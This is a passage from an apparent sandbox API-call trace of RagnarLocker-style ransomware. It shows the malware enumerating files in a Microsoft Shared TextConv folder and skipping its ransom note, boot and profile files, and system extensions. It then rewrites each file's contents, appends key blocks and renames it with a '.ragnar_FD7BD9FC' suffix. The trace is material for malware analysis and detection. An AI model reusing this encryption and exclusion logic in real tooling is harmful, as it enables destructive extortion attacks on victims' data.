lpFilePart=0x1eba6c*="*.*") returned 0x3f [0070.169] lstrcpyW (in: lpString1=0x1eb638, lpString2="MSCONV97.DLL" | out: lpString1="MSCONV97.DLL") returned="MSCONV97.DLL" [0070.169] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL") returned=".DLL" [0070.169] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0070.169] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2="autorun.inf") returned 1 [0070.169] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2="boot.ini") returned 1 [0070.169] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2="bootfont.bin") returned 1 [0070.169] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2="bootsect.bak") returned 1 [0070.170] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2="bootmgr") returned 1 [0070.170] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2="bootmgr.efi") returned 1 [0070.170] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2="bootmgfw.efi") returned 1 [0070.170] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2="desktop.ini") returned 1 [0070.170] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2="iconcache.db") returned 1 [0070.170] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2="ntldr") returned -1 [0070.170] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2="ntuser.dat") returned -1 [0070.170] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2="ntuser.dat.log") returned -1 [0070.170] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2="ntuser.ini") returned -1 [0070.170] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2="thumbs.db") returned -1 [0070.170] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0070.170] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0070.170] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0070.170] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aeaee00, ftCreationTime.dwHighDateTime=0x1ca9122, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1aeaee00, ftLastWriteTime.dwHighDateTime=0x1ca9122, nFileSizeHigh=0x0, nFileSizeLow=0x8f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECOVR32.CNV", cAlternateFileName="")) returned 1 [0070.170] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0070.170] lstrcpyW (in: lpString1=0x1eb638, lpString2="RECOVR32.CNV" | out: lpString1="RECOVR32.CNV") returned="RECOVR32.CNV" [0070.170] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV") returned=".CNV" [0070.170] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0070.170] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2="autorun.inf") returned 1 [0070.170] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2="boot.ini") returned 1 [0070.170] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2="bootfont.bin") returned 1 [0070.170] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2="bootsect.bak") returned 1 [0070.170] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2="bootmgr") returned 1 [0070.170] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2="bootmgr.efi") returned 1 [0070.170] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2="bootmgfw.efi") returned 1 [0070.170] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2="desktop.ini") returned 1 [0070.170] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2="iconcache.db") returned 1 [0070.170] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2="ntldr") returned 1 [0070.170] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2="ntuser.dat") returned 1 [0070.170] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2="ntuser.dat.log") returned 1 [0070.170] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2="ntuser.ini") returned 1 [0070.170] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2="thumbs.db") returned -1 [0070.170] lstrcmpiW (lpString1=".CNV", lpString2=".db") returned -1 [0070.170] lstrcmpiW (lpString1=".CNV", lpString2=".sys") returned -1 [0070.170] lstrcmpiW (lpString1=".CNV", lpString2=".dll") returned -1 [0070.171] lstrcmpiW (lpString1=".CNV", lpString2=".lnk") returned -1 [0070.171] lstrcmpiW (lpString1=".CNV", lpString2=".msi") returned -1 [0070.171] lstrcmpiW (lpString1=".CNV", lpString2=".drv") returned -1 [0070.171] lstrcmpiW (lpString1=".CNV", lpString2=".exe") returned -1 [0070.171] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv")) returned 0x20 [0070.171] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0070.171] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=36712) returned 1 [0070.171] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x8f5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.171] GetProcessHeap () returned 0x580000 [0070.171] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0070.171] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0070.173] VirtualAlloc (lpAddress=0x0, dwSize=0x8f68, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0070.173] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.173] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0070.173] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8f68, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8f68, lpOverlapped=0x0) returned 1 [0070.180] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0070.180] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8f68, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.180] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8f68, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8f68, lpOverlapped=0x0) returned 1 [0070.180] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8f68, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.180] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0070.181] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x8f68, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.181] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.181] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0070.181] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0070.181] WriteFile (in: hFile=0x108, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0070.181] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.181] GetProcessHeap () returned 0x580000 [0070.181] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0070.181] CloseHandle (hObject=0x108) returned 1 [0070.182] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" [0070.182] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV.ragnar_FD7BD9FC" [0070.182] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0070.183] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bb8f420, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7bb8f420, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0070.183] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0070.183] lstrcpyW (in: lpString1=0x1eb638, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0070.183] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RGNR_FD7BD9FC.txt") returned=".txt" [0070.183] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0070.183] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f938f00, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f938f00, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wks9Pxy.cnv", cAlternateFileName="")) returned 1 [0070.183] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0070.183] lstrcpyW (in: lpString1=0x1eb638, lpString2="Wks9Pxy.cnv" | out: lpString1="Wks9Pxy.cnv") returned="Wks9Pxy.cnv" [0070.183] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned=".cnv" [0070.183] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0070.183] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2="autorun.inf") returned 1 [0070.183] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2="boot.ini") returned 1 [0070.183] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2="bootfont.bin") returned 1 [0070.183] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2="bootsect.bak") returned 1 [0070.184] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2="bootmgr") returned 1 [0070.184] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2="bootmgr.efi") returned 1 [0070.184] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2="bootmgfw.efi") returned 1 [0070.184] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2="desktop.ini") returned 1 [0070.184] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2="iconcache.db") returned 1 [0070.184] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2="ntldr") returned 1 [0070.184] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2="ntuser.dat") returned 1 [0070.184] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2="ntuser.dat.log") returned 1 [0070.184] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2="ntuser.ini") returned 1 [0070.184] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2="thumbs.db") returned 1 [0070.184] lstrcmpiW (lpString1=".cnv", lpString2=".db") returned -1 [0070.184] lstrcmpiW (lpString1=".cnv", lpString2=".sys") returned -1 [0070.184] lstrcmpiW (lpString1=".cnv", lpString2=".dll") returned -1 [0070.184] lstrcmpiW (lpString1=".cnv", lpString2=".lnk") returned -1 [0070.184] lstrcmpiW (lpString1=".cnv", lpString2=".msi") returned -1 [0070.184] lstrcmpiW (lpString1=".cnv", lpString2=".drv") returned -1 [0070.184] lstrcmpiW (lpString1=".cnv", lpString2=".exe") returned -1 [0070.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv")) returned 0x20 [0070.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0070.185] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=57248) returned 1 [0070.185] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xdf97, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.185] GetProcessHeap () returned 0x580000 [0070.185] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0070.186] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0070.188] VirtualAlloc (lpAddress=0x0, dwSize=0xdfa0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0070.188] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.188] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0070.188] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xdfa0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xdfa0, lpOverlapped=0x0) returned 1 [0070.190] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0070.190] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xdfa0, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.190] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xdfa0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xdfa0, lpOverlapped=0x0) returned 1 [0070.191] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xdfa0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.191] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0070.191] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xdfa0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.191] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.191] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0070.191] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0070.192] WriteFile (in: hFile=0x108, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0070.192] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.192] GetProcessHeap () returned 0x580000 [0070.192] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0070.192] CloseHandle (hObject=0x108) returned 1 [0070.201] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" [0070.201] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.ragnar_FD7BD9FC" [0070.201] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0070.201] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ce200, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xc226ea20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56ce200, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x30170, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT532.CNV", cAlternateFileName="")) returned 1 [0070.201] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0070.201] lstrcpyW (in: lpString1=0x1eb638, lpString2="WPFT532.CNV" | out: lpString1="WPFT532.CNV") returned="WPFT532.CNV" [0070.201] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV") returned=".CNV" [0070.201] lstrcmpiW (lpString1="WPFT532.CNV", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0070.201] lstrcmpiW (lpString1="WPFT532.CNV", lpString2="autorun.inf") returned 1 [0070.201] lstrcmpiW (lpString1="WPFT532.CNV", lpString2="boot.ini") returned 1 [0070.201] lstrcmpiW (lpString1="WPFT532.CNV", lpString2="bootfont.bin") returned 1 [0070.201] lstrcmpiW (lpString1="WPFT532.CNV", lpString2="bootsect.bak") returned 1 [0070.201] lstrcmpiW (lpString1="WPFT532.CNV", lpString2="bootmgr") returned 1 [0070.201] lstrcmpiW (lpString1="WPFT532.CNV", lpString2="bootmgr.efi") returned 1 [0070.201] lstrcmpiW (lpString1="WPFT532.CNV", lpString2="bootmgfw.efi") returned 1 [0070.202] lstrcmpiW (lpString1="WPFT532.CNV", lpString2="desktop.ini") returned 1 [0070.202] lstrcmpiW (lpString1="WPFT532.CNV", lpString2="iconcache.db") returned 1 [0070.202] lstrcmpiW (lpString1="WPFT532.CNV", lpString2="ntldr") returned 1 [0070.202] lstrcmpiW (lpString1="WPFT532.CNV", lpString2="ntuser.dat") returned 1 [0070.202] lstrcmpiW (lpString1="WPFT532.CNV", lpString2="ntuser.dat.log") returned 1 [0070.202] lstrcmpiW (lpString1="WPFT532.CNV", lpString2="ntuser.ini") returned 1 [0070.202] lstrcmpiW (lpString1="WPFT532.CNV", lpString2="thumbs.db") returned 1 [0070.202] lstrcmpiW (lpString1=".CNV", lpString2=".db") returned -1 [0070.202] lstrcmpiW (lpString1=".CNV", lpString2=".sys") returned -1 [0070.202] lstrcmpiW (lpString1=".CNV", lpString2=".dll") returned -1 [0070.202] lstrcmpiW (lpString1=".CNV", lpString2=".lnk") returned -1 [0070.202] lstrcmpiW (lpString1=".CNV", lpString2=".msi") returned -1 [0070.202] lstrcmpiW (lpString1=".CNV", lpString2=".drv") returned -1 [0070.202] lstrcmpiW (lpString1=".CNV", lpString2=".exe") returned -1 [0070.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv")) returned 0x20 [0070.202] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0070.202] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=196976) returned 1 [0070.202] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x30167, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.202] GetProcessHeap () returned 0x580000 [0070.202] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0070.202] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0070.204] VirtualAlloc (lpAddress=0x0, dwSize=0x30170, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0070.204] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.205] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0070.205] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x30170, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x30170, lpOverlapped=0x0) returned 1 [0070.209] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0070.210] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x30170, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.210] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x30170, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x30170, lpOverlapped=0x0) returned 1 [0070.211] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x30170, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.211] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0070.212] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x30170, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.212] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.212] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, 